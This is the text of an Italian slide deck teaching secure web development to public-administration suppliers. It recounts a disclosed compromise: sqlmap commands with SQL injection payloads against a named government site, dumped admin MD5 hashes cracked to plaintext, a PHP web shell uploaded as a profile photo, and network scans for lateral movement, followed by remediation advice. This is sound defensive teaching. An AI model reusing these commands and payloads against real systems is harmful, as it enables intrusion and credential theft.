(in)Sicurezza nella PA: la storia di uno dei tanti problemi di sicurezza che abbiamo scoperto e segnalato, esempi pratici di vulnerabilità in applicativi web e cosa ci riserva il futuro. Lo sviluppo sicuro delle applicazioni web spiegato ai fornitori di tecnologia della Pubblica Amministrazione.
2. • La storia di uno dei tanti problemi di
sicurezza scoperti e segnalati
• Esempi pratici di vulnerabilità in applicativi
web
• Cosa ci riserva il futuro
—
Agenda
3. La storia di uno dei
tanti problemi di
sicurezza scoperti e
segnalati
4. SQLi (SQL injection)
È una tecnica di code injection molto comune con la quale vengono
inserite delle stringhe di codice SQL malevole all’interno dei campi
di input, es. form web
Due metodologie di difesa:
• Approccio blacklist: ho una lista di caratteri non permessi.
• Approccio whitelist: ho una lista di caratteri permessi.
5. SQLi (SQL injection)
Esempio di SQLi:
$username=$_POST[‘username'];
$password=$_POST['password'];
$query="select username,password from users where username='$username' and
password='$password' limit 1";
$result=mysql_query($query);
$rows = mysql_fetch_array($result);
if($rows)
{
echo “Log-in OK" ;
create_session();
}
…
7. Typo3 e raccolta informazioni
• Abbiamo identificato il CMS in utilizzo da questo sito web: Typo3
• Una sezione del sito consente di gestire i dati del proprio profilo e di caricare
alcune informazioni legate alla propria amministrazione (form web)
• Abbiamo letto la documentazione ufficiale, che riporta quanto segue:
8. SQLmap
sqlmap -u “https://www.ammcentrale.it/jupiter/fileadmin/form/selLoc.php.inc?
id=180" -v 2 -D jupiter —tables
Parameter: id (GET)
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=180 AND 2280=2280
Vector: AND [INFERENCE]
Type: AND/OR time-based blind
Payload: id=180 AND (SELECT * FROM (SELECT(SLEEP(5)))ueEI)
Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,
[SLEEPTIME])))))[RANDSTR])
9. SQLi
[16:46:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.12
[16:46:30] [INFO] fetching tables for database: 'jupiter'
[16:46:30] [DEBUG] performed 0 queries in 0.01 seconds
Database: jupiter
[86 tables]
+————————————————————+
| be_users |
| […] |
| fe_users |
| […] |
+————————————————————+
10. Hash cracking
SELECT * from be_users;
typoadmin,772bea9734a585d1a438ac2f7ee42b62,
admin00,772bea9734a585d1a438ac2f7ee42b62,
adminusr,772bea9734a585d1a438ac2f7ee42b62,
“Cracking” (via hashes.org API o interfaccia web):
{"REQUEST":"FOUND",“772bea9734a585d1a438ac2f7ee42b62"
{“plain”:"iniziale","algorithm":"MD5"}}
11. Una volta ottenute le credenziali utente, accediamo alla
sezione “gestione profilo” e provvediamo a caricare la nostra
foto profilo. Tale foto, in realtà, contiene al suo interno del
codice malevole PHP, con cui potremo eseguire comandi
arbitrari sulla macchina target:
$ wget -nv https://www.ammcentrale.it/jupiter/filetest.php
—post-data=“hello=id" -O - | tee -a log.txt
(Web) Shell access
17. Output (arp scan):
Array
(
[0] => ? (192.168.6.115) at 00:50:56:8e:61:af [ether] on eth0
[1] => ? (192.168.6.1) at 00:1c:7f:3a:9c:0b [ether] on eth0
[2] => ? (192.168.6.2) at 00:1c:7f:3a:9c:0b [ether] on eth0
[3] => ? (172.16.113.2) at 00:0c:29:27:90:ba [ether] on eth1
[4] => ? (192.168.6.140) at 00:23:e9:7d:87:c5 [ether] on eth0
[5] => ? (192.168.6.83) at 00:50:56:8e:61:af [ether] on eth0
[6] => ? (192.168.6.3) at 00:1c:7f:3a:a2:73 [ether] on eth0
[….]
)
Lateral Movement
18. Output (nmap):
Array
(
[0] =>
[1] => Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2017-04-01
15:33 CEST
[2] => Initiating Ping Scan at 15:33
[3] => Scanning XXX hosts [2 ports/host]
Lateral Movement
19. • Vulnerabilità (SQLi) nell’applicazione web
• Utilizzo di MD5 come funzione di hash crittografica
• Utilizzo di password deboli
• Sistema contenente informazioni sensibili al suo interno
(es. backup e chiavi private SSH, anche di altre macchine)
• Assenza di segmentazione della rete
• Mancato aggiornamento dei sistemi (no patch di sicurezza)
e versioni CMS presenti all’interno della rete obsolete
Cosa è andato storto?
20. • Sanitizzazione input
• Utilizzo di funzioni di hash più sicure: bcrypt/scrypt
• Utilizzo di salt (previene attacchi bruteforce tramite rainbow tables)
• Password policy adeguate (NIST Special Publication 800-63B - Digital
Identity Guidelines), 2-Factor Authentication
• Cifratura backup locali e off-site backup
• Logging/Auditing eventi
• Aggiornamenti costanti CMS
• Segmentazione adeguata della rete che riduca al minimo il
movimento laterale su altri sistemi
Cosa avrebbero dovuto fare?
28. • Moltissimi, anche tra voi in questa stanza, si affidano sempre
alle stesse password. Le usano ovunque.
• Utilizzate password manager (1Password, Lastpass,
Keepass, etc.)
• Utilizzate password univoche per ogni servizio
• Abilitate autenticazione a due fattori (2FA) ove disponibile
• Mancata rotazione delle password negli applicativi web
• Salvataggio delle password all’interno dei database in chiaro o
con algoritmi di hash insicuri (MD5, SHA-1 unsalted, etc.)
Problemi legati ai leak di pw
29. • Tanti dei nostri dati vengono periodicamente esposti in maniera
scorretta su internet.
• Database NoSQL senza livelli di autenticazione
• Backend amministrativi vulnerabili (es. SQLi) o misconfigurati
(&& no HTTPS…)
• Backend amministrativi PRIVI di autenticazione (o “factory
credentials”)
• Ambienti di storage (eg. NAS) vulnerabili e non aggiornati
• Volumi (Object-Storage) misconfigurati (ACL) all’interno di
ambienti cloud pubblici e privati
Data leakage
34. ICS/Scada
• Sistemi di controllo industriali spesso:
• esposti su internet per facilitarne l’accesso da remoto (es. per ricevere
assistenza tecnica)
• privi di qualsiasi livello di autenticazione e non sviluppati per stare su
internet
• Nota: non tutti parlano TCP/IP e possono seguire le regole tradizionali